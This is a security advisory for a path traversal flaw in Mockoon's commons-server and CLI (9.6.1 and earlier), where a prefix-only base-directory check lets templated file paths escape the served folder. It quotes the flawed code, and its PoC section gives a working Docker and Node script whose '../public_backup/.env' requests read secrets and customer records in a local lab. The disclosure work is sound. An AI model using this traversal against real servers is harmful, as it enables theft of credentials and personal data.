---
id: CVE-2026-59149
aliases:
  - GHSA-8wqc-v2q8-vff2
title: >-
  @Mockoon/commons-server: Path traversal in templated `filePath` lets a request
  escape the served directory (prefix-only base check)
summary: >-
  @Mockoon/commons-server: Path traversal in templated `filePath` lets a request
  escape the served directory (prefix-only base check)
severity: medium
cvss: 6.5
cwe:
  - CWE-22
  - CWE-23
vendor: mockoon
product: '@mockoon/commons-server'
ecosystem: npm
affected:
  - '@mockoon/commons-server <= 9.6.1'
  - '@mockoon/cli <= 9.6.1'
patched:
  - '@mockoon/commons-server 9.7.0'
  - '@mockoon/cli 9.7.0'
published: '2026-09-11'
updated: '2026-09-11'
sourceUpdated: '2026-09-11T22:04:34Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-8wqc-v2q8-vff2'
references:
  - url: 'https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-59149'
  - url: 'https://github.com/mockoon/mockoon/pull/2255'
  - url: >-
      https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585
  - url: 'https://github.com/mockoon/mockoon/releases/tag/v9.7.0'
  - url: 'https://mockoon.com/releases/9.7.0'
  - url: 'https://github.com/advisories/GHSA-8wqc-v2q8-vff2'
tags:
  - ghsa
  - npm
epss: 0.00483
epssPercentile: 0.40757
ingestedAt: '2026-09-12T00:03:49.069Z'
---

## Overview

## Summary

A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

## Details

`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:

```ts
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
```

With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.

`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).

## PoC

```sh
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
```

Output:

```text
[*] intended file (public/index.txt)    : public landing page
[+] escape -> ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741
```

`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`

## Affected packages

- `@mockoon/commons-server <= 9.6.1`
- `@mockoon/cli <= 9.6.1`

## Remediation

Upgrade to a patched release:

- `@mockoon/commons-server 9.7.0`
- `@mockoon/cli 9.7.0`